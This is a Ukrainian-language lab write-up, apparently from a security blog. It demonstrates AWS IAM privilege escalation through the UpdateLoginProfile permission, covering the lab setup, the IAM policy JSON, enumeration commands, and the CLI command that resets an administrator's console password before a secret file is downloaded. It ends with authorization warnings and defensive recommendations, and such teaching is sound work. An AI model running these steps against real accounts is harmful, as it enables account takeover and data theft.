_ SEARCH_ARCHIVE [/]
[ CLOSE_SESSION ]
:(

SYSTEM_HALTED

Your device ran into a critical error due to an unauthorized shell command. The system was halted to prevent data leakage and kernel corruption.

SYS_SEARCH v1.0.4 // CORE_INDEX ⚠️ [!] NEVER TYPE "EXIT" OR "SHUTDOWN" [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/cloud/aws_iam_updateloginprofile_abuse // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#AWS#IAM#ENUMERATION#PRIVILEGE ESCALATION
FILE_INFO_DECRYPTED
TRANSLATE: @exploit.com.ua

Керування ідентифікацією та доступом (IAM) є основою безпеки в будь-якій хмарній платформі. Неправильні конфігурації або надмірно привілейовані ідентичності є одними з найпоширеніших причин витоку даних у хмарі, що робить IAM основною ціллю як для атак, так і для захисту.

Ця практична лабораторна робота демонструє, як неправильно налаштований дозвіл UpdateLoginProfile дозволяє захопити консоль та ескалювати привілеї шляхом скидання пароля консолі вказаного користувача IAM для отримання доступу до акаунта.

Зміст

  • Про IAM UpdateLoginProfile
  • Налаштування лабораторії та попередні вимоги
  • Частина 1: Налаштування лабораторії IAM
  • Створення низькопривілейованого користувача IAM
  • Створення високопривілейованого користувача IAM
  • Створення групи користувачів із політикою UpdateLoginProfile
  • Частина 2: Перерахунок та експлуатація
  • Перерахунок профілів за допомогою Python-скрипту
  • Налаштування та перерахунок профілів за допомогою AWS CLI
  • Експлуатація IAM UpdateLoginProfile
  • Аналіз
  • Рекомендації
  • Висновок

Про IAM: UpdateLoginProfile

UpdateLoginProfile в AWS змінює пароль для вказаного користувача IAM. Ви можете використовувати AWS CLI, AWS API або сторінку Користувачі (Users) у консолі IAM, щоб змінити пароль для будь-якого користувача IAM.

Налаштування лабораторії та попередні вимоги:

  • Акаунт AWS.
  • Віртуальна машина Kali Linux.

Частина 1: Налаштування лабораторії IAM

Нижче наведено інструкції з налаштування середовища. Ми отримаємо доступ до консолі AWS та налаштуємо інтерфейс командного рядка AWS (CLI).

Користувачі:

  • igt_sanjeet: Користувач із низькими привілеями, до якого приєднані ризиковані дозволи.
  • igt_admin: Високопривілейований користувач із доступом адміністратора.

Назва політики:

update-login-policy

Створення низькопривілейованого користувача IAM

Перейдіть до IAM > Users, потім натисніть Create user, щоб створити нову ідентичність IAM.

Вкажіть ім’я користувача (User name, наприклад, igt_sanjeet) і натисніть Next, щоб перейти до налаштування дозволів.

У розділі Permissions options виберіть Add user to group (Додати користувача до групи) та натисніть Next.

Створіть користувача, як показано в інтерфейсі.

Натисніть на створене ім’я користувача, тобто igt_sanjeet.

Створіть ключі доступу (Create access key) для цього користувача.

Виберіть Command Line Interface (CLI) як сценарій використання (use case).

Поставте галочку у відповідному полі (підтвердження розуміння рекомендацій щодо безпеки) та продовжуйте.

Натисніть Create access key.

Тепер завантажте .csv файл, що містить Access Key ID та Secret Access Key. Зберігайте ці облікові дані в безпеці.

Створення високопривілейованого користувача IAM

Далі створіть потужного користувача IAM. Цей користувач уособлює розширені привілеї; igt_sanjeet (низькопривілейований користувач) скине пароль igt_admin, увійде під його обліковим записом, а потім перейде до більш привілейованих дій.

Перейдіть до IAM > Users, потім натисніть Create user, щоб налаштувати нову ідентичність IAM.

Вкажіть ім’я користувача igt_admin і натисніть Next.

На етапі Set permissions виберіть параметр Attach policies directly.

У розділі Permissions policies знайдіть і виберіть «AdministratorAccess». Ця політика надає повний контроль над практично всіма сервісами та ресурсами AWS, що робить цього користувача нашою «високопривілейованою» ціллю для лабораторної роботи.

Натисніть Next.

Створіть користувача igt_admin.

Тепер натисніть на ім’я користувача igt_admin, як показано на екрані.

Виберіть Enable console access (Увімкнути доступ до консолі).

Виберіть параметр Autogenerated password (Автоматично згенерований пароль) і натисніть Enable console access.

Створення групи користувачів із політикою UpdateLoginProfile

Перейдіть до IAM > User groups > Create group.

Додайте деталі, наприклад, назву групи: update-login-profile.

Створіть групу.

Після створення групи натисніть на її назву.

Натисніть Add permissions → Create inline policy (Додати дозволи → Створити вбудовану політику), щоб визначити та приєднати власну політику безпосередньо до групи update-login-profile.

Вкажіть дозволи в редакторі політик у форматі JSON. Створіть вбудовану політику, призначену для однієї ідентичності IAM (користувача, групи або ролі), яка пізніше буде використана як шлях для ескалації привілеїв (escalation path).

{

         "Version": "2012-10-17",

         "Statement": [

                       {

                                      "Effect": "Allow",

                                      "Action": [

                                                    "iam:UpdateLoginProfile",

                                                    "iam:ListAccessKeys",

                                                    "iam:ListAttachedUserPolicies"

                                      ],

                                      "Resource": "arn:aws:iam::904557616514:user/Igt_admin"

                       },

                       {

                                      "Effect": "Allow",

                                      "Action": [

                                                    "iam:ListGroupPolicies",

                                                    "iam:ListPolicies",

                                                    "iam:ListPolicyVersions",

                                                    "iam:ListUserPolicies",

                                                    "iam:ListUsers",

                                                    "iam:ListGroups",

                                                    "iam:ListGroupsForUser",

                                                    "iam:GetPolicy",

                                                    "iam:GetPolicyVersion",

                                                    "iam:GetRole",

                                                    "iam:GetRolePolicy",

                                                    "iam:GetUser",

                                                    "iam:GetUserPolicy",

                                                    "iam:GetGroupPolicy"

                                      ],

                                      "Resource": "*"

                       },

                       {

                                      "Effect": "Allow",

                                      "Action": [

                                                    "s3:ListBucket"

                                      ],

                                      "Resource": "arn:aws:s3:::igt-bucket"

                       },

                       {

                                      "Effect": "Allow",

                                      "Action": [

                                                    "s3:GetObject"

                                      ],

                                      "Resource": "arn:aws:s3:::igt-bucket/*"

                       },

                       {

                                      "Effect": "Allow",

                                      "Action": [

                                                    "s3:ListAllMyBuckets",

                                                    "s3:GetBucketLocation"

                                      ],

                                      "Resource": "*"

                       }

         ]

}

Ось як виглядає політика в редакторі (JSON):

Натисніть Next.

Вкажіть деталі політики, наприклад її назву update-login-policy, і натисніть Create policy.

Політику створено.

Тепер виберіть групу update-login-profile у розділі User groups і натисніть Add users. Виберіть користувача igt_sanjeet, після чого він стане частиною групи update-login-profile.

Частина 2: Перерахунок та експлуатація

Сценарій використання UpdateLoginProfile

У реальних сценаріях це використовується для адміністрування облікових записів, але в межах лабораторії безпеки це демонструє, як неправильно налаштовані дозволи можуть призвести до ескалації привілеїв.

ПРИМІТКА: Існує дві сторони однієї медалі щодо пароля консолі користувача IAM («профілю входу»):

  • CreateLoginProfile → встановлює перший пароль консолі для користувача, який його ще не має. Якщо профіль входу вже існує, цей виклик завершиться помилкою «already exists».

  • UpdateLoginProfile → змінює існуючий пароль консолі. Якщо профілю входу ще не існує, цей виклик завершиться помилкою «no such entity».

Перерахунок профілів за допомогою Python-скрипту

 python enumerate-iam.py --access-key AKI*********** --secret-key ISN*************

Цей етап перерахунку за допомогою Python підтвердив, що низькопривілейований користувач igt_sanjeet має можливість переглядати список користувачів IAM, груп, бакетів та політик. Це забезпечує необхідну видимість для ідентифікації та подальшої ескалації в облікові записи з вищими привілеями.

Налаштування та перерахунок профілів за допомогою AWS CLI

Тепер налаштуйте AWS CLI з обліковими даними користувача IAM, щоб безпосередньо взаємодіяти з середовищем AWS з вашої машини Kali.

Налаштуйте профіль з назвою igt_sanjeet в AWS CLI.

aws configure --profile igt_sanjeet

Призначте Access Key ID, Secret Access Key та регіон за замовчуванням для цього профілю.

Наступна команда отримає інформацію про ідентифікацію (UserId, Account ID, ARN) для поточного автентифікованого користувача через цей профіль.

 aws sts get-caller-identity --profile igt_sanjeet

Виведіть список усіх груп IAM в акаунті, які профіль igt_sanjeet має дозвіл бачити.

Варто зауважити, що команда не фільтрує лише ті групи, до яких належить igt_sanjeet; вона повертає кожну групу в акаунті (якщо це не заблоковано правами доступу).

aws iam list-groups —profile igt_sanjeet

Ця команда виведе назви вбудованих політик, приєднаних до групи IAM update-login-profile. Зверніть увагу на вивід, виділений червоною рамкою.

 aws iam list-group-policies --group-name update-login-profile --profile igt_sanjeet

Тепер ця команда отримає та відобразить повний JSON-документ вбудованої політики з назвою update-login-policy, яка приєднана до групи update-login-profile.

Замість того, щоб просто показати назву політики (як це робить list-group-policies), вона розкриває фактичні дозволи (Effect, Action, Resource), які надає ця політика.

  aws iam get-group-policy  --group-name update-login-profile  --policy-name      update-login-policy --profile igt_sanjeet

Виконання наступної команди виведе список усіх користувачів IAM в акаунті AWS, яких облікові дані профілю igt_sanjeet мають дозвіл бачити.

aws iam list-users --profile igt_sanjeet

Маючи ці дані, спробуємо переглянути список бакетів та їхній вміст:

 aws s3 ls --profile igt_sanjeet
aws s3 ls s3: // igt-bucket  --profile Igt_sanjeet

Тепер спробуємо завантажити об’єкт за допомогою наступної команди — операцію буде відхилено.

 aws s3 cp s3://igt-bucket/secrets.txt --profile igt_sanjeet

Така ж відмова буде спостерігатися при спробі видалити об’єкт:         

 aws s3 rm s3://igt-bucket/secrets.txt --profile igt_sanjeet

Ці дії відхиляються, оскільки профіль igt_sanjeet не має повноважень на виконання операцій із S3.

А тепер — ключовий момент. Ця команда оновлює профіль входу в консоль (ім’я користувача + пароль) для користувача IAM igt_admin.

ПРИМІТКА: Оскільки igt_admin має приєднану політику AdministratorAccess, той, хто контролює цей новий пароль, може увійти в консоль AWS як повний адміністратор. У середовищі з неправильною конфігурацією це означає ескалацію привілеїв до рівня адміна.

aws iam update-login-profile --user-name igt_admin --password 'YourStrongP@ssw0rd!' –no-password-reset-required --profile igt_sanjeet

Експлуатація IAM UpdateLoginProfile

Відкрийте сторінку входу в консоль AWS, введіть свій Account ID, ім’я користувача IAM igt_admin та новий пароль, який ви встановили за допомогою команди update-login-profile. Натисніть Sign in (Увійти).

Після входу перевірте верхню панель консолі: там має бути вказано igt_admin із повним доступом. Тепер ви володієте привілеями адміністратора завдяки успішній ескалації. Натисніть на назву вашого бакета (igt-bucket), і в розділі Objects (Об’єкти) ви знайдете текстовий файл secrets.txt. Натисніть Download, щоб завантажити його.

Тепер скористайтеся AWS CLI (або терміналом Kali), щоб вивести вміст цього файлу. Цього разу операція пройде успішно:

cat /home/kali/Downloads/secrets.txt

Аналіз

Ця практична лабораторна робота демонструє контрольований та санкціонований сценарій того, як зловмисник із правами iam:UpdateLoginProfile може отримати доступ до консолі цільового акаунта.

Важливо**:** виконуйте ці кроки лише в акаунтах або середовищах, де ви маєте явний дозвіл на тестування. Несанкціоноване використання проти реальних клієнтів є незаконним.

Рекомендації

  • Забороніть або обмежте CreateLoginProfile/UpdateLoginProfile: ці дії повинні бути доступні лише невеликій групі адміністраторів або сервісних принципів.
  • Впровадьте MFA та межі дозволів (Permission Boundaries) для привілейованих користувачів.
  • Використовуйте автоматизацію та управління секретами: для надання доступу до консолі краще використовувати автоматизовані системи, ніж ручне скидання паролів.
  • Моніторинг через CloudTrail: налаштуйте сповіщення про події створення/оновлення профілів входу та подальші входи в консоль.

Висновок

Ця лабораторна робота продемонструвала, як на перший погляд низькопривілейований користувач IAM із дозволом iam:UpdateLoginProfile може скинути пароль консолі іншого користувача та отримати несанкціонований доступ. Ця вправа підкреслює критичну необхідність обмеження доступу до функцій керування профілями лише для адміністраторів та постійного моніторингу CloudTrail на предмет таких високовпливових дій IAM.

[!] SYSTEM_INCOMPATIBILITY_REPORT

FATAL_ERROR: MOBILE_DISPLAY_NOT_SUPPORTED

The requested resource "exploit.com.ua" is optimized for desktop terminal environments only.

Mobile UI decoding is currently in progress...